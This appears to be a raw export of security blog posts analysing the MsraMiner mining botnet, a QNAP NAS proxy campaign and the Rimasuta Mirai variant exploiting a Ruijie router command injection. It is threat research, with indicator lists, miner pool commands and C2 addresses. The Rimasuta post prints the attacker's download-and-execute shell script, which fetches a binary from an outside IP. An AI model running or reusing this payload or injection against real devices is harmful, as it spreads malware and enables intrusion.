hxxp://[c2"],[0,[1],1,"domain]:4433/uri"],[0,[],0,"path 发送 POST 请求，其中 uri_path 为 5b8c1d | d0a01e | a4c80e 其中之一，疑似可以从 C2 上获取 MsraReportDataCache32.tlb 来更新本地样本；"]],[[0,[],0,"A 中 srv 的 Infection 模块从 C:\\Windows\\system32\\MsraReportDataCache32.tlb 中解压出 spoolsv32 ，重命名为 spoolsv.exe 并启动，执行感染功能，spoolsv.exe 的具体功能如下：从 C:\\Windows\\system32\\MsraReportDataCache32.tlb 中解压出 crypt(.zip)，crypt 是 NSA 工具包，从中取出攻击程序和配置文件，向局域网发起攻击，Payload 为 crypt 压缩包中的 86.dll / x64.dll；入侵成功后，Paylod DLL 在失陷主机 B 那里开 57219 端口，然后从攻击机把MsraReportDataCache32.tlb 上传到失陷主机 B；探测局域网主机 26931（Mongoose WebServer）端口，26931 端口由其他失陷主机的主控模块 srv 开 启；与 C2 交互（功能未明，C2 已失效，以下 C2 仅为举例）："]]]],[10,17],[3,"ul",[[[0,[],0,"B 中 x86.dll 有以下主要行为：删除旧文件 MsraReportDataCache32.tlb/tpmagentservice.dll/NetTraceDiagnostics.ini ；从 57219 端口接收 A 主机传过来的 MsraReportDataCache32.tlb ；将自身携带的加密数据存储到注册表项 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ 下面 ServicesPixels 键中；终止旧的主服务，从 MsraReportDataCache32.tlb 中解压出 srv 文件，重命名为tpmagentservice.dll ，并重新注册服务 tpmagentservice ，启动 tpmagentservice.dll 的ServiceCrtMain() 函数。 至此，第二代 MsraMiner 完成了从失陷主机 A 到失陷主机 B 的感染，并根据配置文件启动矿机程序进行挖矿"]]]],[10,18],[10,19],[1,"h4",[[0,[0],1,"IoC 列表"]]],[1,"h3",[[0,[0],1,"#"]]],[1,"p",[[0,[],0,"swt.njaavfxcgk3.club"],[1,[],0,6],[0,[],0,"x1.sk0zda1rmzs.world"],[1,[],0,7],[0,[],0,"x5.sk0zda1rmzs.world"],[1,[],0,8],[0,[],0,"d1d1d1.ftbxedwakc.me"],[1,[],0,9],[0,[],0,"x1x1x1.ftbxedwakc.me"],[1,[],0,10],[0,[],0,"tar.kziu0tpofwf.club"],[1,[],0,11],[0,[],0,"rer.njaavfxcgk3.club"],[1,[],0,12],[0,[],0,"acs.njaavfxcgk3.club"],[1,[],0,13],[0,[],0,"ccc.njaavfxcgk3.club"],[1,[],0,14],[0,[],0,"cf.sk0zda1rmzs.world"],[1,[],0,15],[0,[],0,"cm.sk0zda1rmzs.world"],[1,[],0,16],[0,[],0,"cmcmcm.ftbxedwakc.me"],[1,[],0,17],[0,[],0,"err.njaavfxcgk3.club"],[1,[],0,18],[0,[],0,"rat.kziu0tpofwf.club"],[1,[],0,19],[0,[],0,"p3.njaavfxcgk3.club"],[1,[],0,20],[0,[],0,"s.drawal.tk"],[1,[],0,21],[0,[],0,"d.drawal.tk"],[1,[],0,22],[0,[],0,"z.drawal.tk"],[1,[],0,23],[0,[],0,"eea.asf3r23.cf"],[1,[],0,24],[0,[],0,"p3.qsd2xjpzfky.site"],[1,[],0,25],[0,[],0,"p1.mdfr6avyyle.online"],[1,[],0,26],[0,[],0,"p1.qsd2xjpzfky.site"],[1,[],0,27],[0,[],0,"p5.qsd2xjpzfky.site"],[1,[],0,28],[0,[],0,"p5.mdfr6avyyle.online"],[1,[],0,29],[0,[],0,"p3.mdfr6avyyle.online"],[1,[],0,30],[0,[],0,"p1.vpccaydoaw.live"],[1,[],0,31],[0,[],0,"p5.vpccaydoaw.live"],[1,[],0,32],[0,[],0,"p3.vpccaydoaw.live"]]],[1,"h6",[[0,[],0,"C2 ip asn"]]],[1,"p",[[0,[],0,"AS20473 Choopa, LLC 104.238.149.229"],[1,[],0,33],[0,[],0,"AS20473 Choopa, LLC 107.191.61.152"],[1,[],0,34],[0,[],0,"AS20473 Choopa, LLC 108.61.246.77"],[1,[],0,35],[0,[],0,"AS20473 Choopa, LLC 108.61.247.93"],[1,[],0,36],[0,[],0,"AS4837 CHINA UNICOM China169 Backbone 119.188.68.5"],[1,[],0,37],[0,[],0,"AS20473 Choopa, LLC 207.246.100.220"],[1,[],0,38],[0,[],0,"AS20473 Choopa, LLC 45.32.110.163"],[1,[],0,39],[0,[],0,"AS20473 Choopa, LLC 45.32.121.95"],[1,[],0,40],[0,[],0,"AS20473 Choopa, LLC 45.32.127.108"],[1,[],0,41],[0,[],0,"AS20473 Choopa, LLC 45.32.48.160"],[1,[],0,42],[0,[],0,"AS20473 Choopa, LLC 45.32.51.130"],[1,[],0,43],[0,[],0,"AS20473 Choopa, LLC 45.63.127.197"],[1,[],0,44],[0,[],0,"AS20473 Choopa, LLC 45.63.94.237"],[1,[],0,45],[0,[],0,"AS20473 Choopa, LLC 45.76.103.25"],[1,[],0,46],[0,[],0,"AS20473 Choopa, LLC 45.76.185.56"],[1,[],0,47],[0,[],0,"AS20473 Choopa, LLC 45.76.188.118"],[1,[],0,48],[0,[],0,"AS20473 Choopa, LLC 45.76.199.181"],[1,[],0,49],[0,[],0,"AS20473 Choopa, LLC 45.76.48.72"],[1,[],0,50],[0,[],0,"AS20473 Choopa, LLC 45.76.51.49"],[1,[],0,51],[0,[],0,"AS20473 Choopa, LLC 45.76.55.4"],[1,[],0,52],[0,[],0,"AS20473 Choopa, LLC 45.77.11.148"],[1,[],0,53],[0,[],0,"AS20473 Choopa, LLC 45.77.14.227"],[1,[],0,54],[0,[],0,"AS20473 Choopa, LLC 45.77.20.217"],[1,[],0,55],[0,[],0,"AS20473 Choopa, LLC 45.77.22.234"],[1,[],0,56],[0,[],0,"AS20473 Choopa, LLC 45.77.25.58"],[1,[],0,57],[0,[],0,"AS20473 Choopa, LLC 45.77.29.88"],[1,[],0,58],[0,[],0,"AS20473 Choopa, LLC 45.77.31.21"]]],[1,"h6",[[0,[],0,"样本 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| 614da07e3819e500076351b1 |
post | null | 2021-09-24T10:02:09.000Z | 63873b9a8b1c1e0007f52fe3 | msraminer-uipdates-in-72-hours-after-disclose | 0 | 2021-09-24T10:03:47.000Z | public | published | null | 2018-03-19T10:02:00.000Z | MsraMiner 被曝光后72小时内的更新 | <p>3月16日，我们<a href="__GHOST_URL__/msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo/">文章</a> 中，提到了 MsraMiner，一个潜伏已久的挖矿僵尸网络。</p><p>DNSMon 在过去的72小时内，提示我们该僵尸网络有更新，如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/dnsmon_alert.png" class="kg-image" alt loading="lazy"></figure><ul><li>样本压缩包文件改名为 <em>ProximityUntilCache32.tlb</em> ，原来叫 <em>MsraReportDataCache32.tlb</em></li><li>矿机程序被重命名为 <em>WUDHostServices.exe</em> ，原来是 <em>TrustedHostServices.exe</em></li><li>样本里的 C2 Domain 被替换为 <code>tsk.tknuv.com</code> / <code>err.tknuv.com</code> / <code>slo.tknuv.com</code> ，原来是 <code>ccc.njaavfxcgk3.club</code> / <code>rer.njaavfxcgk3.club</code> / <code>acs.njaavfxcgk3.club</code></li></ul><p>新的矿池域名和挖矿账号如下，其中，<code>jiovt.com</code> 和 <code>etionz.com</code> 这两个域名都是 2018-03-16 才注册的。</p><pre><code>A:\ -o sim.jiovt.com:45560 -u [email protected]
A:\ -o lol.jiovt.com:45560 -u [email protected]
A:\ -o tzt.jiovt.com:45560 -u [email protected]
A:\ -o tot.jiovt.com:45560 -u [email protected]
A:\ -o ziz.jiovt.com:45560 -u [email protected]
A:\ -o mue.jiovt.com:45560 -u [email protected]
A:\ -o okt.jiovt.com:45560 -u [email protected]
A:\ -o pqi.jiovt.com:45560 -u [email protected]
A:\ -o kji.jiovt.com:45560 -u [email protected]
swx.jiovt.com
ff.etionz.com
mm.etionz.com
dddddd.etionz.com
cccccc.etionz.com
rat.etionz.com
err.etionz.com
nnn.etionz.com
</code></pre><p>这些挖矿账号和备用的 C2 域名，是通过对内存数据解密得到的：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/dll_mem_cc.png" class="kg-image" alt loading="lazy"></figure><p>新的样本 md5 (VT first-seen: 2018-03-17)：</p><pre><code>a4992890d226f25f1057d71e475a83d8 *ProximityUntilCache32_tlb.zip
d4ee3ccb9fd8d1a7fd90d2d9d6500300 *ProximityUntilCache32_tlb/crypt
011d6ce51b7806dca26c300e8d26f9bb *ProximityUntilCache32_tlb/hash
1e0022c02030f2b4353b583beffbade9 *ProximityUntilCache32_tlb/hash64
1afb7154e1a57adc72e87e0948573bd0 *ProximityUntilCache32_tlb/spoolsv
baa824c84e4385056f777759ef37092c *ProximityUntilCache32_tlb/spoolsv64
3ab6ddea6ebd2404250f5255ff7e23b1 *ProximityUntilCache32_tlb/srv
c70673f416e3c3ee0b194ff0966e0a86 *ProximityUntilCache32_tlb/srv64
5b8fe3875e5523bfa356503b5e81ff25 *ProximityUntilCache32_tlb/x64.dll
8fd6f89f9ec5f303c17243e9bdd2970a *ProximityUntilCache32_tlb/x86.dll``` </code></pre> | 3月16日，我们文章 中，提到了 MsraMiner，一个潜伏已久的挖矿僵尸网络。
DNSMon 在过去的72小时内，提示我们该僵尸网络有更新，如下：
* 样本压缩包文件改名为 ProximityUntilCache32.tlb ，原来叫 MsraReportDataCache32.tlb
* 矿机程序被重命名为 WUDHostServices.exe ，原来是 TrustedHostServices.exe
* 样本里的 C2 Domain 被替换为 tsk.tknuv.com / err.tknuv.com / slo.tknuv.com ，原来是 ccc.njaavfxcgk3.club / rer.njaavfxcgk3.club / acs.njaavfxcgk3.club
新的矿池域名和挖矿账号如下，其中，jiovt.com 和 etionz.com 这两个域名都是 2018-03-16 才注册的。
A:\ -o sim.jiovt.com:45560 -u [email protected]
A:\ -o lol.jiovt.com:45560 -u [email protected]
A:\ -o tzt.jiovt.com:45560 -u [email protected]
A:\ -o tot.jiovt.com:45560 -u [email protected]
A:\ -o ziz.jiovt.com:45560 -u [email protected]
A:\ -o mue.jiovt.com:45560 -u [email protected]
A:\ -o okt.jiovt.com:45560 -u [email protected]
A:\ -o pqi.jiovt.com:45560 -u [email protected]
A:\ -o kji.jiovt.com:45560 -u [email protected]
swx.jiovt.com
ff.etionz.com
mm.etionz.com
dddddd.etionz.com
cccccc.etionz.com
rat.etionz.com
err.etionz.com
nnn.etionz.com
这些挖矿账号和备用的 C2 域名，是通过对内存数据解密得到的：
新的样本 md5 (VT first-seen: 2018-03-17)：
a4992890d226f25f1057d71e475a83d8 *ProximityUntilCache32_tlb.zip
d4ee3ccb9fd8d1a7fd90d2d9d6500300 *ProximityUntilCache32_tlb/crypt
011d6ce51b7806dca26c300e8d26f9bb *ProximityUntilCache32_tlb/hash
1e0022c02030f2b4353b583beffbade9 *ProximityUntilCache32_tlb/hash64
1afb7154e1a57adc72e87e0948573bd0 *ProximityUntilCache32_tlb/spoolsv
baa824c84e4385056f777759ef37092c *ProximityUntilCache32_tlb/spoolsv64
3ab6ddea6ebd2404250f5255ff7e23b1 *ProximityUntilCache32_tlb/srv
c70673f416e3c3ee0b194ff0966e0a86 *ProximityUntilCache32_tlb/srv64
5b8fe3875e5523bfa356503b5e81ff25 *ProximityUntilCache32_tlb/x64.dll
8fd6f89f9ec5f303c17243e9bdd2970a *ProximityUntilCache32_tlb/x86.dll``` | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2018/03/dnsmon_alert.png","alt":"","title":""}],["code",{"code":"A:\\ -o sim.jiovt.com:45560 -u [email protected] \nA:\\ -o lol.jiovt.com:45560 -u [email protected] \nA:\\ -o tzt.jiovt.com:45560 -u [email protected] \nA:\\ -o tot.jiovt.com:45560 -u [email protected] \nA:\\ -o ziz.jiovt.com:45560 -u [email protected] \nA:\\ -o mue.jiovt.com:45560 -u [email protected] \nA:\\ -o okt.jiovt.com:45560 -u [email protected] \nA:\\ -o pqi.jiovt.com:45560 -u [email protected] \nA:\\ -o kji.jiovt.com:45560 -u [email protected]\n\nswx.jiovt.com \nff.etionz.com \nmm.etionz.com \ndddddd.etionz.com \ncccccc.etionz.com \nrat.etionz.com \nerr.etionz.com \nnnn.etionz.com \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/03/dll_mem_cc.png","alt":"","title":""}],["code",{"code":"a4992890d226f25f1057d71e475a83d8 *ProximityUntilCache32_tlb.zip \nd4ee3ccb9fd8d1a7fd90d2d9d6500300 *ProximityUntilCache32_tlb/crypt \n011d6ce51b7806dca26c300e8d26f9bb *ProximityUntilCache32_tlb/hash \n1e0022c02030f2b4353b583beffbade9 *ProximityUntilCache32_tlb/hash64 \n1afb7154e1a57adc72e87e0948573bd0 *ProximityUntilCache32_tlb/spoolsv \nbaa824c84e4385056f777759ef37092c *ProximityUntilCache32_tlb/spoolsv64 \n3ab6ddea6ebd2404250f5255ff7e23b1 *ProximityUntilCache32_tlb/srv \nc70673f416e3c3ee0b194ff0966e0a86 *ProximityUntilCache32_tlb/srv64 \n5b8fe3875e5523bfa356503b5e81ff25 *ProximityUntilCache32_tlb/x64.dll \n8fd6f89f9ec5f303c17243e9bdd2970a *ProximityUntilCache32_tlb/x86.dll``` "}]],"markups":[["a",["href","__GHOST_URL__/msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo/"]],["em"],["code"]],"sections":[[1,"p",[[0,[],0,"3月16日，我们"],[0,[0],1,"文章"],[0,[],0," 中，提到了 MsraMiner，一个潜伏已久的挖矿僵尸网络。"]]],[1,"p",[[0,[],0,"DNSMon 在过去的72小时内，提示我们该僵尸网络有更新，如下："]]],[10,0],[3,"ul",[[[0,[],0,"样本压缩包文件改名为 "],[0,[1],1,"ProximityUntilCache32.tlb"],[0,[],0," ，原来叫 "],[0,[1],1,"MsraReportDataCache32.tlb"]],[[0,[],0,"矿机程序被重命名为 "],[0,[1],1,"WUDHostServices.exe"],[0,[],0," ，原来是 "],[0,[1],1,"TrustedHostServices.exe"]],[[0,[],0,"样本里的 C2 Domain 被替换为 "],[0,[2],1,"tsk.tknuv.com"],[0,[],0," / "],[0,[2],1,"err.tknuv.com"],[0,[],0," / "],[0,[2],1,"slo.tknuv.com"],[0,[],0," ，原来是 "],[0,[2],1,"ccc.njaavfxcgk3.club"],[0,[],0," / "],[0,[2],1,"rer.njaavfxcgk3.club"],[0,[],0," / "],[0,[2],1,"acs.njaavfxcgk3.club"]]]],[1,"p",[[0,[],0,"新的矿池域名和挖矿账号如下，其中，"],[0,[2],1,"jiovt.com"],[0,[],0," 和 "],[0,[2],1,"etionz.com"],[0,[],0," 这两个域名都是 2018-03-16 才注册的。"]]],[10,1],[1,"p",[[0,[],0,"这些挖矿账号和备用的 C2 域名，是通过对内存数据解密得到的："]]],[10,2],[1,"p",[[0,[],0,"新的样本 md5 (VT first-seen: 2018-03-17)："]]],[10,3]],"ghostVersion":"3.0"} | 614da2213819e500076351b5 |
post | null | 2021-09-28T01:55:31.000Z | 63873b9a8b1c1e0007f52fe4 | in-the-wild-qnap-nas-attacks-3 | 0 | 2021-12-31T04:02:54.000Z | public | draft | null | null | the hidden IoT Multi-hop Proxy Attack | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2021年7月29号，360网络安全研究院Anglerfish蜜罐系统监测到一个攻击者使用QNAP Systems, Inc.公司的网络存储设备的6个远程命令执行漏洞, 组建多跳代理（Multi-hop Proxy）网络<a href="https://restoreprivacy.com/vpn/multi-hop/">[1]</a> <a href="https://attack.mitre.org/techniques/T1090/003/">[2]</a> 。</p>
<p>我们发现部分漏洞仍存在QNAP QVR系列最新固件程序中，并向QNAP厂商报告了其中4个。</p>
<p>2021年9月27号，QNAP Systems, Inc.公司发布安全公告 QSA-21-35 <a href="https://www.qnap.com.cn/en/security-advisory/qsa-21-35">[3]</a> 和 QSA-21-38 <a href="https://www.qnap.com/en/security-advisory/qsa-21-38">[4]</a> ，并指出已在QVR 5.1.5 build 20210902和更高版本中解决了这些问题。</p>
<p>经过深入的分析，我们发现这个攻击者并不简单。攻击者从2018年开始至今，持续通过隐秘、复杂的漏洞攻击手法，攻击了D-Link、Huawei、Zyxel、QNAP、SAMSUNG、ASUS、Tenda、TP-LINK等厂商的大量IoT设备（路由器、摄像头和NAS），植入Dropbear程序组建SSH多跳代理网络，并用于隐秘的网络攻击行动。</p>
<h3 id="">多跳代理攻击概述</h3>
<p>多跳代理（Multi-hop Proxy）技术被广泛应用于Tor、VPN、APT攻击等场景，一般认为多跳代理流量是很难溯源的，正如Tor网络。</p>
<!--kg-card-end: markdown--> | 背景介绍
2021年7月29号，360网络安全研究院Anglerfish蜜罐系统监测到一个攻击者使用QNAP Systems, Inc.公司的网络存储设备的6个远程命令执行漏洞, 组建多跳代理（Multi-hop Proxy）网络[1] [2] 。
我们发现部分漏洞仍存在QNAP QVR系列最新固件程序中，并向QNAP厂商报告了其中4个。
2021年9月27号，QNAP Systems, Inc.公司发布安全公告 QSA-21-35 [3] 和 QSA-21-38 [4] ，并指出已在QVR 5.1.5 build 20210902和更高版本中解决了这些问题。
经过深入的分析，我们发现这个攻击者并不简单。攻击者从2018年开始至今，持续通过隐秘、复杂的漏洞攻击手法，攻击了D-Link、Huawei、Zyxel、QNAP、SAMSUNG、ASUS、Tenda、TP-LINK等厂商的大量IoT设备（路由器、摄像头和NAS），植入Dropbear程序组建SSH多跳代理网络，并用于隐秘的网络攻击行动。
多跳代理攻击概述
多跳代理（Multi-hop Proxy）技术被广泛应用于Tor、VPN、APT攻击等场景，一般认为多跳代理流量是很难溯源的，正如Tor网络。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n2021年7月29号，360网络安全研究院Anglerfish蜜罐系统监测到一个攻击者使用QNAP Systems, Inc.公司的网络存储设备的6个远程命令执行漏洞, 组建多跳代理（Multi-hop Proxy）网络[[1]](https://restoreprivacy.com/vpn/multi-hop/) [[2]](https://attack.mitre.org/techniques/T1090/003/) 。\n\n我们发现部分漏洞仍存在QNAP QVR系列最新固件程序中，并向QNAP厂商报告了其中4个。\n\n2021年9月27号，QNAP Systems, Inc.公司发布安全公告 QSA-21-35 [[3]](https://www.qnap.com.cn/en/security-advisory/qsa-21-35) 和 QSA-21-38 [[4]](https://www.qnap.com/en/security-advisory/qsa-21-38) ，并指出已在QVR 5.1.5 build 20210902和更高版本中解决了这些问题。\n\n经过深入的分析，我们发现这个攻击者并不简单。攻击者从2018年开始至今，持续通过隐秘、复杂的漏洞攻击手法，攻击了D-Link、Huawei、Zyxel、QNAP、SAMSUNG、ASUS、Tenda、TP-LINK等厂商的大量IoT设备（路由器、摄像头和NAS），植入Dropbear程序组建SSH多跳代理网络，并用于隐秘的网络攻击行动。\n\n\n\n\n### 多跳代理攻击概述\n多跳代理（Multi-hop Proxy）技术被广泛应用于Tor、VPN、APT攻击等场景，一般认为多跳代理流量是很难溯源的，正如Tor网络。\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 615276133819e5000763528e |
post | null | 2021-09-28T03:39:24.000Z | 63873b9a8b1c1e0007f52fe5 | rimasuta-spread-with-ruijie-0day-en | 0 | 2021-09-29T02:45:25.000Z | public | published | null | 2021-09-28T14:00:00.000Z | Mirai_ptea_Rimasuta variant is exploiting a new RUIJIE router 0 day to spread | <!--kg-card-begin: markdown--><h1 id="overview">Overview</h1>
<p>In July 2021 we blogged about <a href="__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/">Mirai_ptea</a>, a botnet spreading through an undisclosed vulnerability in KGUARD DVR. At first we thought it was a short-lived botnet that would soon disappear so we just gave it a generic name. But clearly we underestimated the group behind this family, which has in fact been very active and was recently observed to be spreading using a 0day vulnerability in the <a href="https://www.ruijienetworks.com/">RUIJIE NBR700</a> series routers.</p>
<p>It is interesting to note that the author included this paragraph in one of the updated samples.</p>
<p><code>-_- you guys didnt pick up on the name? really???? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.</code></p>
<p>Mirai_ptea_Rimasuta now has builtin mechanism to check if the running environment is a sandbox, it also encrypts the network traffic to counter the network level detection.</p>
<h2 id="timeline">Timeline</h2>
<ul>
<li>2021-06-10 Note another mirai variant, mirai_aurora, first exploited this RUIJIE vulnerability to spread</li>
<li>2021-09-05 We noticed Mirai_ptea_Rimasuta starting to use exploit</li>
<li>2021-09-06 We notified the vendor of the vulnerability</li>
<li>2021-09-09 The vendor confirmed the existence of the vulnerability and informed that it has <a href="https://www.ruijie.com.cn/fw/xw/86338/">stopped maintaining</a> this version of the device, and the manufacturer believes that it can be mitigated by changing the default password, so it does not intend to provide a new patch to fix the vulnerability.</li>
</ul>
<h1 id="vulnerabilityanalysis">Vulnerability Analysis</h1>
<h3 id="vulnerabilitytype">Vulnerability Type</h3>
<p>Command injection vulnerability</p>
<h3 id="vulnerabilitydetails">Vulnerability details</h3>
<p>To avoid abuse, we are not disclosing the full details. The description in this section includes only part of the vulnerability exploitation process.</p>
<p>An interface named <code>wget_test.asp</code> test exists on the RUJIE router device, which accepts URLs passed in from the page for wget testing (the testing function is eventually implemented through a script named <code>wget_test.sh</code>), but it does not perform special character checks on the incoming parameters, leading to command injection. Note: The interface requires login authentication. However, the RUIJIE router has default weak password, so an attacker can combine these 2 factors to launch an attack.</p>
<p>According to our investigation, there are still great number of online devices having this problem.</p>
<p><img src="__GHOST_URL__/content/images/2021/09/ruijie.wget.cmd.ij.png" alt="ruijie.wget.cmd.ij" loading="lazy"></p>
<p>where <code>wget_test.sh</code> reads as follows:</p>
<pre><code>#!/bin/sh
while [ 1 ]
do
wget -O /dev/null $1;
sleep 1;
done
</code></pre>
<h3 id="knownaffecteddeviceversions">Known affected device versions</h3>
<pre><code>NBR1600GDX9 Release(180516)
RGNBR700GDX5 Release(180202)
RGNBR700GDX5 Release(180314)
RGNBR700GDX9 Release(180720)
RGNBR700GWDX5 Release(180314)
RGNBR700GWDX9 Release(180613)
RGNBR700GWDX9 Release(180720)
RGNBR700GWDX9 Release(191023)
RGNBR900GA1C2 Release(170809)
</code></pre>
<h3 id="exploitpayloadanalysis">Exploit payload analysis</h3>
<p>Some of the vulnerabilities exploit Payload as follows:<br>
<img src="__GHOST_URL__/content/images/2021/09/xxxpppasdfadfkafjadf.png" alt="xxxpppasdfadfkafjadf" loading="lazy"></p>
<p>The content of the file corresponding to the URL in the above image is shown below. At first glance, it looks a bit strange because it uses many empty variables( to confuse security analysts?)</p>
<pre><code>v=.rib;
cd ${ENrjHs}/t${hSQGxia}mp;
wg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};
chm${mBSVmBhyrCQcZ}od +x ${v};
./${v};
</code></pre>
<p>When these variables are removed, its function is intuitive: download the sample and execute it.</p>
<pre><code>
v=.rib;
cd /tmp;
wget http://2.56.244.121/gkTHLPZAAsmP -O ${v};
chmod +x ${v};
./${v};
</code></pre>
<h1 id="botnetsize">Botnet size</h1>
<p>From our data horizon, the active Bot source IP trends for this botnet are as follows:<br>
<img src="__GHOST_URL__/content/images/2021/09/rimasuta.bot.ip.line.png" alt="rimasuta.bot.ip.line" loading="lazy"></p>
<p>Bot source IPs are geographically distributed as follows:<br>
<img src="__GHOST_URL__/content/images/2021/09/rimasuta.bot.ip.geo-1.png" alt="rimasuta.bot.ip.geo-1" loading="lazy"></p>
<h1 id="sampleanalysis">Sample Analysis</h1>
<p>The basic information of the ARM sample is shown as follows.</p>
<pre><code>MD5:b01b0bc32469f11a47d6e54eef8c7ffb
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
</code></pre>
<p>Mirai_ptea_Rimasuta is a Mirai variant, with redesigned encryption algorithm and C2 communication protocol. In terms of encryption algorithm, Mirai_ptea_Rimasuta uses TEA algorithm instead of Mirai's simple XOR encryption, and a lot of sensitive resource information such as C2, Tor Proxy, etc have been encrypted; in terms of C2 communication, Mirai_ptea_Rimasuta uses Tor Proxy to indirectly establish communication with C2. For more details on this part, please refer to our <a href="__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/">previous Blog</a>, and let’s just look at some changes in this active new sample.</p>
<h3 id="0x1teakey">0x1: TEA key</h3>
<p>This Mirai_ptea_Rimasuta sample hardcod 2 sets of TEA keys, one for encrypting & decrypting sensitive resources and one for encrypting & decrypting network traffic, to distinguish the former we call it Res_teakey and the latter Net_teakey.</p>
<p><code>Res_teakey</code> is shown as follows.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_reskey.png" width="860px" /></p>
<p>Part of the resource information is decrypted as shown below, note the content of index c. <code>This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe</code></p>
<pre><code>index 0, value = /proc/
index 1, value = /exe
index 2, value = /fd
index 3, value = /proc/net/tcp
index 4, value = /cmdline
index 5, value = /status
index 6, value = /maps
index 7, value = /dev
index 8, value = /dev/misc
index 9, value = /dev/misc/watchdog
index a, value = /dev/watchdog
index b, value = watchdog
index c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe
</code></pre>
<p>(as far as we know, none of us know how to dance chacha…yet…)</p>
<p><code>Net_teakey</code> is shown below<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_netkey.png" width="860px" /><br>
It is not used in practice, it just acts as a placeholder and Mirai_ptea_Rimasuta dynamically generates a new Net_teakey at runtime, which will be discussed in the Network Protocols section below.</p>
<h3 id="0x2sandboxdetection">0x2: Sandbox detection</h3>
<p>A large number of sandboxes or simulators process samples in a fixed path and name them with MD5 or random strings. Mirai_ptea_Rimasuta takes this cue and checks the path & filename of the sample, and only after it meets the requirements will it go ahead and run, otherwise it exits.</p>
<p><img src="__GHOST_URL__/content/images/2021/09/masu_check.png" alt="masu_check" loading="lazy"></p>
<p>The following shows legit "run paths"</p>
<pre><code>./.rib
/XXriXX
</code></pre>
<h3 id="0x3c2variation">0x3: C2 variation</h3>
<p>Mirai_ptea_Rimasuta uses the following code snippet to get the Tor C2, which shows that the C2 table entry in the encrypted resource is 0xD, and there are 6 C2s (random mod 6).</p>
<img src="__GHOST_URL__/content/images/2021/09/masu_c2.png" width="860px" />
<p>The encrypted information in 0xD is decrypted as follows.</p>
<pre><code>index d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion
</code></pre>
<p>After excluding the ".onion" at the end of the above string and splitting it by length 56, then splicing it with the .onion string at the end, we get the following 6 C2s, which have a one-to-one correspondence with the port of the hard-coded 6 in the sample.</p>
<pre><code>uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
</code></pre>
<h3 id="0x4networkprotocolchange">0x4: Network protocol change</h3>
<p>The active Mirai_ptea_Rimasuta sample also starts to encrypt the network traffic using the TEA algorithm, and although there is a hard-coded set of keys Net_teakey in the sample, it is not used in practice, but a new key dynamically generated through negotiation with the C2s.</p>
<p>The whole communication process can be divided into 3 steps as follows</p>
<p>Stage 1. communication with C2 is established via TOR PROXY<br>
Stage 2. TEA key negotiation<br>
Stage 3. receive the command from C2, note that the traffic is encrypted at this time</p>
<p>The focus is on the key negotiation in the second step, we will take the actual data traffic generated in the following figure as an example, and we will discuss step by step how Bot & C2 get the same key.</p>
<img src="__GHOST_URL__/content/images/2021/09/masu_packet.png" width="860px" />
<p>Stage1 is the typical process of establishing communication with TOR C2. Starting from Stage2, Mirai_ptea_Rimasuta's packets consist of 3 parts: <code>head(2bytes), hash(4bytes), and content(Nbytes)</code>, where the value of head is fixed in a session and the value of hash is calculated by the hash_calc function for content in the appendix.</p>
<p>The whole negotiation process is shown as follows.</p>
<ol>
<li>
<p>Bot randomly generates 12 characters and uses the hash_calc algorithm in the appendix to get the value of Net_teakey[0]. At this time Bot has Net_teakey[0], C2 does not know the value of task Net_teakey.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag1.png" width="860px" /></p>
</li>
<li>
<p>Bot randomizes 8 characters to form content, uses hash_calc to calculate content to get hash, and puts the low 16 bits of the hash value into head, then sends this packet of 14 bytes long to C2, and finally calculates the whole packet by hash_calc to get Net_teakey[2] value, at this time Bot has Net_teakey[0,2] and C2 has Net_teakey[2].<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag2.png" width="860px" /></p>
</li>
<li>
<p>C2 returns the packet to Bot, and the value of the hash is used in step</p>
</li>
<li>
